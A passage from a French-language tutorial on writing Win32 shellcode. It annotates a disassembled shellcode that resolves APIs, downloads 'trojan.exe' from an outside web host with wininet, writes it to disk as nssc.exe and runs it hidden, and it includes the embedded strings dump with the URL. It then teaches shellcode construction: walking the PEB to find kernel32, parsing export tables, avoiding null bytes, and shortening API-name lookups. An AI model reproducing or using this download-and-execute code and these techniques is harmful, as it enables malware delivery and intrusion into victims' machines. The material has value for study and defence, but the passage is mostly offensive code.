esp,esi // remet le stack au haut de l'API_TABLE 0012FC83 33D2 xor edx,edx // technique anti null bytes 0012FC85 B204 mov dl,4 // permettant de faire un 0012FC87 C1E208 shl edx,8 // 0012FC8A 2BE2 sub esp,edx // sub esp, 400 0012FC8C 8BEC mov ebp,esp // met le pointeur de base a niveau 0012FC8E 33D2 xor edx,edx // encore 0012FC90 B203 mov dl,3 // une technique anti null bytes 0012FC92 C1E208 shl edx,8 // permettant de faire un 0012FC95 2BE2 sub esp,edx // sub esp, 300 0012FC97 54 push esp 0012FC98 5A pop edx 0012FC99 B27C mov dl,7Ch 0012FC9B 8BE2 mov esp,edx // en bref : sub esp, 0x0D 0012FC9D EB02 jmp 0012FCA1 // bypass 1er palier du far jump 0012FC9F EB57 jmp 0012FCF8 // (far jump end_of_code) // premier palier anti null bytes 0012FCA1 8975FC mov dword ptr [ebp-4],esi // place (char *)GetModuleHandleA // sur le stack 0012FCA4 33C0 xor eax,eax // technique anti null bytes 0012FCA6 B440 mov ah,40h // permettant de faire un 0012FCA8 C1E008 shl eax,8 // 0012FCAB 8945F8 mov dword ptr [ebp-8],eax // mov dword ptr [ebp-8], 0x400000 0012FCAE 8B403C mov eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew 0012FCB1 0345F8 add eax,dword ptr [ebp-8] // eax = PIMAGE_NT_HEADERS 0012FCB4 8D407E lea eax,[eax+7Eh] // eax = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]->VirtualAddress 0012FCB7 8B4002 mov eax,dword ptr [eax+2] // eax = PIMAGE_IMPORT_DIRECTORY 0012FCBA 0345F8 add eax,dword ptr [ebp-8] // eax = base + impdir->AddressOfFunctions 0012FCBD 8BF8 mov edi,eax search : 0012FCBF 8B7F0C mov edi,dword ptr [edi+0Ch] // edi = RVA vers le nom du fichier 0012FCC2 037DF8 add edi,dword ptr [ebp-8] // = base + RVAFileName /*************************** >dd edi 0x00404708 4e52454b 32334c45 6c6c642e 00000000 KERNEL32.dll.... ****************************/ 0012FCC5 813F4B45524E cmp dword ptr [edi],4E52454Bh 0012FCCB 7407 je 0012FCD4 // if (!strcmp (edi,KERNEL32.dll)) goto suite; 0012FCCD 83C014 add eax,14h 0012FCD0 8BF8 mov edi,eax 0012FCD2 EBEB jmp 0012FCBF // loop until *edi = KERNEL32 suite: 0012FCD4 50 push eax // push impdir->AdressOfFunction 0012FCD5 8BF8 mov edi,eax 0012FCD7 33C9 xor ecx,ecx // initialisation a 0 0012FCD9 33C0 xor eax,eax // initialisation a 0 0012FCDB B110 mov cl,10h // rechercher sur les 16 première RVA 0012FCDD 8B17 mov edx,dword ptr [edi] // edx = RVA 0012FCDF 0355F8 add edx,dword ptr [ebp-8] // edx = base+RVA 0012FCE2 52 push edx // sauve l'adresse 0012FCE3 EB03 jmp 0012FCE8 // jmp FindFirst FindNext : 0012FCE5 57 push edi // sauvegarde edi 0012FCE6 8BD7 mov edx,edi FindFirst : 0012FCE8 807A0380 cmp byte ptr [edx+3],80h 0012FCEC 7416 je 0012FD04 0012FCEE 8B32 mov esi,dword ptr [edx] 0012FCF0 0375F8 add esi,dword ptr [ebp-8] 0012FCF3 83C602 add esi,2 // esi = (char *) API_NAME 0012FCF6 EB02 jmp 0012FCFA // bypass 2eme palier far jump 0012FCF8 EB7E jmp 0012FD78 // (far jump end_of_code) // deuxieme palier anti null bytes 0012FCFA 8B7DFC mov edi,dword ptr [ebp-4] // EDI = GetModuleHandleA 0012FCFD 51 push ecx // ecx = 0x10 0012FCFE F3A6 repe cmps byte ptr [esi],byte ptr [edi] //a = memcmp (edi,API_NAME,0x10) 0012FD00 59 pop ecx // restore ecx 0012FD01 5F pop edi // restore edi 0012FD02 7406 je 0012FD0A // if !a goto next1 0012FD04 40 inc eax 0012FD05 83C704 add edi,4 // avance le pointeur 0012FD08 EBDB jmp 0012FCE5 // FindNext / * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - Une fois arrivé à ce point, nous découvrons pourquoi le shellcode a provoqué un crash lors de notre premier essai. Comme vous pouvez le constater, une recherche de l'adresse de GetModuleHandleA() est effectuée à travers l'Importe Table du processus en cours. Le problème et que l'exe que nous venons de compiler n'utilise pas cette API, ce qui va entrainer une comparaison mémoire placée en dehors de l'espace d'adressage de notre processus, et ainsi provoquer une erreur de violation d'accès au niveau de la lecture d'une zone interdite. La solution permettant de palier au problème et de continuer l'analyse est donc : ====================================== raise.c ============================================== #include void main () { char scode[] = "..." // le shellcode void (*shellcode) () = (void * ) scode; GetModuleHandle ("KERNEL32"); // Utilisation de GetModuleHandle() shellcode (); } ======================================== EOF ================================================== ok, c'est repartie. * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - / next1 : 0012FD0A 5F pop edi // restore edi 0012FD0B 8B7F10 mov edi,dword ptr [edi+10h] 0012FD0E 037DF8 add edi,dword ptr [ebp-8] 0012FD11 C1E002 shl eax,2 0012FD14 03F8 add edi,eax 0012FD16 8B07 mov eax,dword ptr [edi] // eax = &GetModuleHandle() 0012FD18 8B5DFC mov ebx,dword ptr [ebp-4] // ebx = *API_TABLE 0012FD1B 8D5B11 lea ebx,[ebx+11h] // ebx = LPTSTR "Kernel32.dll" 0012FD1E 53 push ebx 0012FD1F FFD0 call eax // GetModuleHandle ("KERNEL32.DLL"); 0012FD21 8945F4 mov dword ptr [ebp-0Ch],eax // sauvegarde Kernel32.ImageBase 0012FD24 8B403C mov eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew 0012FD27 0345F4 add eax,dword ptr [ebp-0Ch] // eax = PIMAGE_NT_HEADERS 0012FD2A 8B7078 mov esi,dword ptr [eax+78h] // esi = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress 0012FD2D 0375F4 add esi,dword ptr [ebp-0Ch] // esi = PIMAGE_EXPORT_DIRECTORY 0012FD30 8D761C lea esi,[esi+1Ch] // esi = base + expdir->AddressOfFunctions 0012FD33 AD lods dword ptr [esi] 0012FD34 0345F4 add eax,dword ptr [ebp-0Ch] 0012FD37 8945F0 mov dword ptr [ebp-10h],eax 0012FD3A AD lods dword ptr [esi] 0012FD3B 0345F4 add eax,dword ptr [ebp-0Ch] 0012FD3E 8945EC mov dword ptr [ebp-14h],eax 0012FD41 AD lods dword ptr [esi] 0012FD42 0345F4 add eax,dword ptr [ebp-0Ch] 0012FD45 8945E8 mov dword ptr [ebp-18h],eax 0012FD48 8B55EC mov edx,dword ptr [ebp-14h] // edx = base + expdir->AddressOfNames 0012FD4B 8B75FC mov esi,dword ptr [ebp-4] 0012FD4E 8D761E lea esi,[esi+1Eh] // esi = LPTSTR "GetProcAddress" 0012FD51 33DB xor ebx,ebx // indice = 0; 0012FD53 33C9 xor ecx,ecx 0012FD55 B10F mov cl,0Fh // strlen ("GetProcAddress") Loop : 0012FD57 8B3A mov edi,dword ptr [edx] // edi = base + expdir->AddressOfNames 0012FD59 037DF4 add edi,dword ptr [ebp-0Ch] // edi = *NameOfFunction 0012FD5C 56 push esi 0012FD5D 51 push ecx 0012FD5E F3A6 repe cmps byte ptr [esi],byte ptr [edi] // strcmp (edi,"GetProcAddess"); 0012FD60 59 pop ecx 0012FD61 5E pop esi 0012FD62 7406 je 0012FD6A // jmp if Api_Name_Found 0012FD64 43 inc ebx // indice++ 0012FD65 8D5204 lea edx,[edx+4] // Passe au nom suivant 0012FD68 EBED jmp 0012FD57 // Loop until Api_Name_Found Api_Name_Found : 0012FD6A D1E3 shl ebx,1 0012FD6C 8B75E8 mov esi,dword ptr [ebp-18h] 0012FD6F 03F3 add esi,ebx 0012FD71 33C9 xor ecx,ecx 0012FD73 668B0E mov cx,word ptr [esi] // ecx = ordinal 0012FD76 EB02 jmp 0012FD7A // bypass 3eme palier far jump 0012FD78 EB7D jmp 0012FDF7 // (far jump end_of_code) // troisieme palier anti null bytes 0012FD7A C1E102 shl ecx,2 0012FD7D 034DF0 add ecx,dword ptr [ebp-10h] 0012FD80 8B09 mov ecx,dword ptr [ecx] 0012FD82 034DF4 add ecx,dword ptr [ebp-0Ch] 0012FD85 894DE4 mov dword ptr [ebp-1Ch],ecx 0012FD88 8B5DFC mov ebx,dword ptr [ebp-4] 0012FD8B 8D5B2D lea ebx,[ebx+2Dh] // ebx = LPTSTR LoadLibraryA 0012FD8E 33C9 xor ecx,ecx 0012FD90 B107 mov cl,7 // 7 noms d'API à retrouver leur adresses 0012FD92 8D7DE0 lea edi,[ebp-20h] Make_kernel32_API_jmp_TABLE : =-=-=-=-=-=-=-=-=-=-=-= 0012FD95 53 push ebx 0012FD96 51 push ecx 0012FD97 53 push ebx // LPCSTR lpProcName = ptr 0012FD98 8B55F4 mov edx,dword ptr [ebp-0Ch] // edx = kernel32.imagebase 0012FD9B 52 push edx // HMODULE hModule = kernel32 0012FD9C 8B45E4 mov eax,dword ptr [ebp-1Ch] 0012FD9F FC cld 0012FDA0 FFD0 call eax // GetProcAddress ((HMODULE)Kernel32,ptr) 0012FDA2 59 pop ecx 0012FDA3 5B pop ebx 0012FDA4 FD std 0012FDA5 AB stos dword ptr [edi] // place LPTSTE ptr dans la jmp table 0012FDA6 8D6424F8 lea esp,[esp-8] loop2 : // avance le poiteur sur le prochain nom d'API a chercher 0012FDAA 382B cmp byte ptr [ebx],ch // verifie la presence d'un 00 0012FDAC 7403 je 0012FDB1 // if ptr[0] == '\0' goto next 0012FDAE 43 inc ebx // else ebx++ 0012FDAF EBF9 jmp 0012FDAA // loop2 next : 0012FDB1 43 inc ebx // ptr++ 0012FDB2 E2E1 loop 0012FD95 // while (ecx) goto Make_kernel32_API_jmp_TABLE =-=-=-=-=-=-=-=-=-=-=-= Make_wininet_API_jmp_TABLE : =-=-=-=-=-=-=-=-=-=-=-= 0012FDB4 8B45E0 mov eax,dword ptr [ebp-20h] // eax = & LoadLibraryA() 0012FDB7 53 push ebx // ebx = LPTSTR "wininet.dll" 0012FDB8 FC cld 0012FDB9 FFD0 call eax // LoadLibraryA ("wininet.dll") 0012FDBB FD std 0012FDBC AB stos dword ptr [edi] // sauve (HMODULE) "wininet.dll" 0012FDBD 33C9 xor ecx,ecx 0012FDBF B104 mov cl,4 // 4 nom d'API a rechercher 0012FDC1 8D5B0C lea ebx,[ebx+0Ch] // ebx = APINAME 0012FDC4 FC cld 0012FDC5 53 push ebx 0012FDC6 51 push ecx 0012FDC7 53 push ebx 0012FDC8 8B55C4 mov edx,dword ptr [ebp-3Ch] // edx = wininet.imagebase 0012FDCB 52 push edx 0012FDCC 8B45E4 mov eax,dword ptr [ebp-1Ch] // eax = & GetProcAddress() 0012FDCF FFD0 call eax // GetProcAddress (wininet,APINAME); 0012FDD1 59 pop ecx 0012FDD2 5B pop ebx 0012FDD3 FD std 0012FDD4 AB stos dword ptr [edi] // sauve l'adresse de l'API loop3 : // avance le poiteur sur le prochain nom d'API a chercher 0012FDD5 382B cmp byte ptr [ebx],ch // verifie la presence d'un 00 0012FDD7 7403 je 0012FDDC // if ptr[0] == '\0' goto next3 0012FDD9 43 inc ebx // else ebx++ 0012FDDA EBF9 jmp 0012FDD5 // loop3 next3 : 0012FDDC 43 inc ebx // ptr++ 0012FDDD E2E5 loop 0012FDC4 // while (ecx) goto Make_wininet_API_jmp_TABLE =-=-=-=-=-=-=-=-=-=-=-= 0012FDDF FC cld 0012FDE0 33D2 xor edx,edx 0012FDE2 B61F mov dh,1Fh // technique anti null bytes 0012FDE4 C1E208 shl edx,8 // mov edx,001f0000h 0012FDE7 52 push edx 0012FDE8 33D2 xor edx,edx 0012FDEA 52 push edx // push 0 0012FDEB 8B45D4 mov eax,dword ptr [ebp-2Ch] 0012FDEE FFD0 call eax // GlobalAlloc (NULL, 0x1f0000) 0012FDF0 8945B0 mov dword ptr [ebp-50h],eax // sauvegarde le pointeur 0012FDF3 33D2 xor edx,edx // reinitialise edx à 0 0012FDF5 EB02 jmp 0012FDF9 // bypass 4eme palier far jump 0012FDF7 EB77 jmp 0012FE70 // (far jump end_of_code) // quatrieme palier anti null bytes 0012FDF9 52 push edx // 0 0012FDFA 52 push edx // 0 0012FDFB 52 push edx // 0 0012FDFC 52 push edx // 0 0012FDFD 53 push ebx /************************************* >dd ebx 0x0012FF4B 6e00534e 2e637373 00657865 70747468 NS.nssc.exe.http 0x0012FF5B 772f2f3a 632e7777 2e7a6568 2f6d6f63 ://www.chez.com/ 0x0012FF6B 2f6d766d 6a6f7274 652e6e61 01006578 mvm/trojan.exe.. *************************************/ 0012FDFE 8B45C0 mov eax,dword ptr [ebp-40h] 0012FE01 FFD0 call eax // Sess = InternetOpenA (NS,0,0,0,0) 0012FE03 8D5B03 lea ebx,[ebx+3] ebx = LPTSTR "nssc.exe" 0012FE06 8945AC mov dword ptr [ebp-54h],eax // sauve le handle d'ouverture 0012FE09 33D2 xor edx,edx 0012FE0B 52 push edx // DWORD dwContext = NULL 0012FE0C B680 mov dh,80h // technique anti null byte 0012FE0E C1E210 shl edx,10h // mov edx, 80000000 0012FE11 52 push edx // DWORD dwFlags = INTERNET_FLAG_RELOAD 0012FE12 33D2 xor edx,edx 0012FE14 52 push edx // DWORD dwHeadersLength = 0 0012FE15 52 push edx // LPCSTR lpszHeaders = NULL 0012FE16 8D7B09 lea edi,[ebx+9] 0012FE19 57 push edi // LPCSTR lpszUrl = URL 0012FE1A 50 push eax // HINTERNET hInternetSession = Sess 0012FE1B 8B45BC mov eax,dword ptr [ebp-44h] // session = InternetOpenUrlA (hInternetSession, &lpszUrl, NULL, INTERNET_FLAG_RELOAD,0) 0012FE1E FFD0 call eax 0012FE20 8945A8 mov dword ptr [ebp-58h],eax 0012FE23 8D55A0 lea edx,[ebp-60h] 0012FE26 52 push edx // LPDWORD lpNumberOfBytesRead 0012FE27 33D2 xor edx,edx 0012FE29 B61F mov dh,1Fh // technique anti NB 0012FE2B C1E208 shl edx,8 // edx = 1F0000 0012FE2E 52 push edx // DWORD dwNumberOfBytesToRead = 2031616 0012FE2F 8B4DB0 mov ecx,dword ptr [ebp-50h] 0012FE32 51 push ecx // LPVOID lpBuffer 0012FE33 50 push eax // HINTERNET hFile = session 0012FE34 8B45B8 mov eax,dword ptr [ebp-48h] // InternetReadFile(session,lpBuffer,2031616,&lpNumberOfBytesRead) 0012FE37 FFD0 call eax 0012FE39 8B4DA8 mov ecx,dword ptr [ebp-58h] 0012FE3C 51 push ecx 0012FE3D 8B45B4 mov eax,dword ptr [ebp-4Ch] 0012FE40 FFD0 call eax // InternetCloseHandle (Sess) 0012FE42 8B4DAC mov ecx,dword ptr [ebp-54h] 0012FE45 51 push ecx 0012FE46 8B45B4 mov eax,dword ptr [ebp-4Ch] 0012FE49 FFD0 call eax // InternetCloseHandle (session) 0012FE4B 33D2 xor edx,edx 0012FE4D 52 push edx // int iAttribute = 0 (normal) 0012FE4E 53 push ebx // LPCSTR lpPathName = "nssc.exe" 0012FE4F 8B45DC mov eax,dword ptr [ebp-24h] 0012FE52 FFD0 call eax // hfile = _lcreat ("nssc.exe",0) 0012FE54 8945A4 mov dword ptr [ebp-5Ch],eax // sauve hfile 0012FE57 8B7DA0 mov edi,dword ptr [ebp-60h] 0012FE5A 57 push edi // long lBytes = lpNumberOfBytesRead 0012FE5B 8B55B0 mov edx,dword ptr [ebp-50h] 0012FE5E 52 push edx // LPCSTR lpBuffer 0012FE5F 50 push eax // HFILE hFile = hfile 0012FE60 8B45D8 mov eax,dword ptr [ebp-28h] 0012FE63 FFD0 call eax // _hwrite (hfile,lpBuffer,lpNumberOfBytesRead) 0012FE65 8B55A4 mov edx,dword ptr [ebp-5Ch] 0012FE68 52 push edx 0012FE69 8B45D0 mov eax,dword ptr [ebp-30h] 0012FE6C FFD0 call eax // _lclose (hfile) 0012FE6E EB02 jmp 0012FE72 // bypass 5eme palier far jump 0012FE70 EB12 jmp 0012FE84 // (far jump end_of_code) // cinquieme palier anti null bytes 0012FE72 33D2 xor edx,edx 0012FE74 90 nop 0012FE75 52 push edx // 0 = SW_HIDE 0012FE76 53 push ebx // LPCSTR lpszCmdLine = "nssc.exe" 0012FE77 8B45CC mov eax,dword ptr [ebp-34h] 0012FE7A FFD0 call eax // WinExec ("nssc.exe",SW_HIDE) 0012FE7C 33D2 xor edx,edx 0012FE7E 52 push edx // 0 0012FE7F 8B45C8 mov eax,dword ptr [ebp-38h] 0012FE82 FFD0 call eax // ExitProcess (0) end_of_code: 0012FE84 E8E6FDFFFF call 0012FC6F // ce call permet de pusher l'offset de fin de shellcode afin // de connaitre l'adresse ou son placer les chaines de caracteres. ++ Voila, maintenant que nous avons plus de détails, nous pouvons en faire quelques petits commentaires : - Toute la base de ce shellcode générique est situé sur la présence de GetModuleHandle() dans l'IT du processus à exploiter, si cette API n'est pas utilisée, l'attaque se retrouve compromise. - le stockage des noms d'API complet est toujours en vigueur, ce qui constitue le talon d'achille principale d'une optimisation de shellcode win32. - deux fonctions sont utilisées pour créer les jump table, ce qui n'est pas très élégant - Raise utilise la lib wininet pour aller downloader son trojan, il aurait peut etre été préférable d'utiliser urlmon bref, ce shellcode est bien mieux fait que celui de zan, mais la taille est toujours un défaut majeur ! (800 Bytes nom dou diou !) /************************************************************************************* IV. NOTRE APPROCHE SUR LA QUESTION *************************************************************************************/ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 4.A L'ABBOLITION DE L'ADRESSE DE BASE, GRACE AU 'PROCESS ENVIRONMENT BLOCK' /////////////////////////////////////////////////////////////////////////////////////////// Comme vous avez put le voir, le problème majeur lorsque l'on crée un shellcode win32 est d'arriver a retrouver les adresses de LoadLibraryA et GetProcAdress d'une façon optimisée, élégante, et surtout générique. Si vous avez déjà engagé quelques recherches personnelles sur le sujet, vous remarquerez sans doute que la technique que nous allons évoquer a dejà été exposée dans quelques sites et articles de très bon niveau, (cf: Last Stage Delirium) mais celle ci n'a jamais été clairement exploitée / commentée ou demontrée. ok, let's do it... Quand le loader de windows charge un binaire en mémoire, celui ci conserve une trace des librairies utilisées par le process dans une structure appelée le PEB dont voici le prototype : // Process Environment Block typedef struct _PEB { /*000*/ BOOLEAN InheritedAddressSpace; /*001*/ BOOLEAN ReadImageFileExecOptions; /*002*/ BOOLEAN BeingDebugged; /*003*/ BOOL SpareBool; // alloc size /*004*/ HANDLE Mutant; /*008*/ PVOID SectionBaseAddress; /*00C*/ PPROCESS_MODULE_INFO ProcessModuleInfo; /*010*/ PPROCESS_PARAMETERS ProcessParameters; /*...*/ .... plein d'autres truc ici .... :) /*1E8*/ } PEB, *PPEB; Cette structure est définie pour chaque processus a l'adresse 0x7FFDF000 mais peut être retrouver dynamiquement en récuperant le pointeur situé a FS:[0x30]; celle ci contient des informations sur l'environnement d'exécution en cours, ce qui dans notre cas s'avère très intéressant, car la sous structure PROCESS_MODULE_INFO contient une liste de toutes les librairies utilisées. typedef struct _PROCESS_MODULE_INFO { /*000*/ DWORD Size; /*004*/ DWORD Initalized; /*008*/ HANDLE SsHandle; /*00C*/ LIST_ENTRY ModuleListLoadOrder; /*014*/ LIST_ENTRY ModuleListMemoryOrder; /*018*/ LIST_ENTRY ModuleListInitOrder; /*020*/ } PROCESS_MODULE_INFO, *PPROCESS_MODULE_INFO; Une fois en possession de ces informations, le plan d'attaque devient facilement imaginable. Il suffit de pointer sur le PEB et d'aller ensuite dans ProcessModuleInfo ou l'on voit trois double liste chainées: * ModuleListLoadOrder * ModuleListMemoryOrder * ModuleListInitOrder Ces listes chainées contiennent des éléments MODULE_ITEM dont le type est defini ci dessous : typedef struct _MODULE_ITEM { /*000*/ LIST_ENTRY ModuleListLoadOrder; /*008*/ LIST_ENTRY ModuleListMemoryOrder; /*010*/ LIST_ENTRY ModuleListInitOrder; /*018*/ DWORD ImageBase; /*01C*/ DWORD EntryPoint; /*020*/ DWORD ImageSize; /*024*/ UNICODE_STRING PathFileName; /*02C*/ UNICODE_STRING FileName; /*034*/ ULONG ModuleFlags; /*038*/ WORD LoadCount; /*03A*/ WORD Fill; /*03C*/ DWORD dw3c; /*040*/ DWORD dw40; /*044*/ DWORD TimeDateStamp; /*048*/ } MODULE_ITEM, *PMODULE_ITEM; et sont triés en fonction de l'ordre de chargement, de l'adresse mémoire et de l'initialisation. Donc pour lister les DLL utilisées par un processus, il suffit de lire une de ces 3 listes chainées, sachant que si on lit ModuleListMemoryOrder ou ModuleListInitOrder, il faut réajuster le pointeur vers le début de la structure. du style : * ModuleListLoadOrder: for (Module = (PMODULE_ITEM) ModuleInfo->ModuleListLoadOrder.Flink; Module->ModuleListLoadOrder.Flink != &ModuleInfo->ModuleListLoadOrder; Module = (PMODULE_ITEM) Module->ModuleListLoadOrder.Flink) * ModuleListMemoryOrder: for (Module = (PMODULE_ITEM) (((DWORD)ModuleInfo->ModuleListMemoryOrder.Flink) - 0x8); Module->ModuleListMemoryOrder.Flink != &ModuleInfo->ModuleListMemoryOrder && Module->ModuleListMemoryOrder.Flink; Module = (PMODULE_ITEM) (((DWORD)Module->ModuleListMemoryOrder.Flink) - 0x8)) * ModuleListMemoryOrder: pareil que pour ModuleListMemoryOrder sauf que le -0x8 devient -0x10. mais concrètement, comment sa ce passe ? En premier lieu, il nous faut retrouver l'adresse du PEB, puis pointer sur ProcessModuleInfo. ---------------------- SNIP ------------------------ // DWORD Peb; PPROCESS_MODULE_INFO ModuleInfo; PMODULE_ITEM Module; _asm { mov eax, fs:[0x30] // mov [Peb], eax mov eax, [eax+0xC] mov [ModuleInfo], eax } ---------------------------------------------------- A partir de la, on doit récupérer l'addresse de base de kernel32.dll ce qui donne : ---------------------------- SNIP -------------------------------------- DWORD ImageBase; __asm { mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink search_dll_loop: mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0] cmp byte ptr [esi], 'K' jnz search_dll_next // if (edi != 'K') goto search_kernel32_next mov [ImageBase], dword ptr [eax+0x18] // MODULE_ITEM->FileName.ImageBase; jmp fin // reajuste le pointeur au debut de la structure search_dll_next: mov eax, dword ptr [eax] // eax = PMODULE_ITEM cmp eax, ecx jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder) fin : } printf ("Image base of Kernel32.dll : 0x%x\n",ImageBase); -------------------------------------------------------------------------- maintenant, il nous faut celle de la fonction LoadLibrary() ou GetProcAddress(). Pour ca on va tout simplement se balader dans le PE (Portable Executable) de kernel32.dll. En pseudo code C, ca donne ca: ------------------------------------- SNIP ---------------------------------------------- DWORD GetAdd(DWORD base, char *function_name) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER) base; PIMAGE_NT_HEADERS nt; PIMAGE_DATA_DIRECTORY datadir; PIMAGE_EXPORT_DIRECTORY expdir; DWORD i; PDWORD functions, names; PWORD ordinals; char *curname; nt = (PIMAGE_NT_HEADERS) base + dos->e_lfanew; datadir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; expdir = (PIMAGE_EXPORT_DIRECTORY) base + datadir->VirtualAddress; functions = (PDWORD) base + expdir->AddressOfFunctions; ordinals = (PWORD) base + expdir->AddressOfNameOrdinals; names = (PDWORD) base + expdir->AddressOfNames; for (i=0; iNumberOfNames; i++) { if (!strcmp(function_name, (char *) names[i]) return(functions[ordinals[i]]); } return(NULL); } ---------------------------------------------------------------------------------------------- voici en gros le principe de base. voyons maintenant comment a partir de tout ca, mettre en place... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 4.B) UNE RECONSTRUCTION DE LOADLIBRARYA / GETPROCADDRESS. /////////////////////////////////////////////////////////////////////////////////////////// Pour arriver à un vrai resultat optimal, le fin du fin serais de trouver un moyen d'éviter de créer une table de nom, comme dans cette exemple tiré du shellcode de RaiSe 0x0012FE89 4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA 0x0012FE99 72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge 0x0012FEA9 6f725074 64644163 73736572 616f4c08 tProcAddress.Loa 0x0012FEB9 62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea 0x0012FEC9 6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global 0x0012FED9 6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi 0x0012FEE9 6578456e 78450863 72507469 7365636f nExec.ExitProces 0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In 0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In 0x0012FF09 6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte 0x0012FF19 74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int 0x0012FF29 656e7265 61655274 6c694664 6e490865 ernetReadFile.In 0x0012FF39 6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl 0x0012FF49 534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht 0x0012FF59 2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co 0x0012FF69 766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe 0x0012FF79 6c000108 c00012fc e30012ff 01004010 ...l.........@.. Ces chaines de caratères prennent une place énorme, mais sont nécessaires à LoadLibraryA et GetProcAddress, qui rappellons le, sont les fonctions noyaux d'un shellcode win32. Revoyons comment procède un programme pour exécuter une fonction exporter : Tout d'abord, l'exécution de toute fonction nécessite que la portion de code qui doit être executée soit accessible par le processus qui désire l'utiliser. Si ce bout de code n'est pas accessible, il faut que le programme map la librairie qui l'intéresse dans son espace d'adressage, ce qui est précisement le rôle de LoadLibraryA() Si le code à exécuter est déjà mappé (ou y est grace à LoadLibraryA), il faut que le programme arrive à retrouver l'adresse de la fonction qui l'intéresse, de façon à pouvoir créer un branchement vers le code exécutable, ce qui constitue la tache de GetProcAddress() Une fois en possession de l'adresse de la fonction à executer, et que celle si est accessible, il peut enfin procéder à son appel par un simple call 0xaddr. concrètement, un programme qui veut utiliser la fonction ExitWindowsEx() de user32.dll doit agir de la sorte : ---- Pseudo code ----- .data TABLE0 db "user32.dll",0 // 11 octets TABLE1 db "ExitWindows",0 // 12 octets TABLE2 db "ExitProcess",0 // 12 octets LoadLibraryA dd 0x77E7A254 // 4 octets GetProcAddress dd 0x77E7A254 // 4 octets .code mov ebp, esp sub esp, 4 push offset TABLE0 call LoadLibraryA // LoadLibaryA ("user32.dll"); push eax // eax = HMODULE push offet TABLE1 call GetProcAddress // GetProcAddress (HMODULE,"ExitWindows"); push 0 push 0 call eax // ExitWindows (0,0); push dword ptr [ebp-4] push offet TABLE12 call GetProcAddress // GetProcAddress (HMODULE,"ExitProcess"); push 0 call eax // ExitProcess (0); ------------------------ Cet exemple montre ou ce trouve le hic. Pour loader et exécuter une seule fonction, nous avons été obligé de créer une table de 35 octets ! de plus, chaque chaine contenue dans la table doit être termineé d'un zero (null bytes) ce qui est problématique dans la conception d'un shellcode. une telle pratique nous force à créer encore une routine permettant de contourner le problème, ce qui nuit gravement à notre souci d'optimisation. ------------------------------------------- -> Interresont nous a GetProcAddress() <- ------------------------------------------- GetProcAddress est la fonction qui demande le plus de ressources vis à vis d'une table de nom, pour la simple et bonne raison qu'on ne charge qu'une seul fois une dll, mais qu'on doit retrouver plusieurs adresses d'API. De plus, cette fonction nécessite un nom complet de la fonction dont on doit retrouver l'adresse, ce qui voudrait dire que dans le cas ou nous désirerions retrouver 'WSAAsyncGetProtoByNumber', cela nous boufferait deja 25 octets à notre shellcode ! Une solution plus acceptable consisterait à pouvoir retrouver l'adresse d'une fonction exportée en ne se basant que sur une petite partie de son nom. 4 octets (un dword) pour pattern me semble être tout à fait jouable. mais attention, les API windows possèdent beaucoup de fonction qui possèdent des noms similaires. pour pourvoir les différencier, il nous faut aussi un offset de référence ! reprenons notre exemple : TABLE1 db "ExitWindows",0 // 12 octets TABLE2 db "ExitProcess",0 // 12 octets si je ne me base que sur 4 octets, le seul moyen de faire la différence entre ces 2 API est de spécifier un dword UNIQUE, ce qui donne théoriquement ---- Pseudo code ----- .data TABLE0 db "user32.dll",0 // 11 octets /* TABLE1 et TABLE2 degage, ce qui nous fait gagner 26 octets */ LoadLibraryA dd 0x77E7A254 // 4 octets .code jmp debut MyGetProcAdress : [...] debut : mov ebp, esp sub esp, 4 push offset TABLE0 call LoadLibraryA // LoadLibaryA ("user32.dll"); push eax // eax = HMODULE push 'xitW' push 1 call MyGetProcAddress // MyGetProcAddress (ImageBase,1,"xitW") // retrouve l'adresse de E'xitW'indows() push 0 push 0 call eax // ExitWindows (0,0); push dword ptr [ebp-4] push 'xitP' call MyGetProcAddress // MyGetProcAddress (ImageBase,1,"xitP"); // retrouve l'adresse de E'xitP'rocess() push 0 call eax // ExitProcess (0); ------------------------ Rassurez vous, il vas être relativement facile d'élaborer une telle fonction. Il suffit de reprendre le bout de code qui permet de scanner l'export table (generic1.c) et d'y apporter une toute petite modification --------------- SNIP --------------- [... generic1.c ...] // patch // search_func: mov esi, dword ptr [edx+4*ebx] add esi, eax // esi = names[i] add esi, dword ptr [esp+0x14] // offsetApi mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset]; cmp esi, 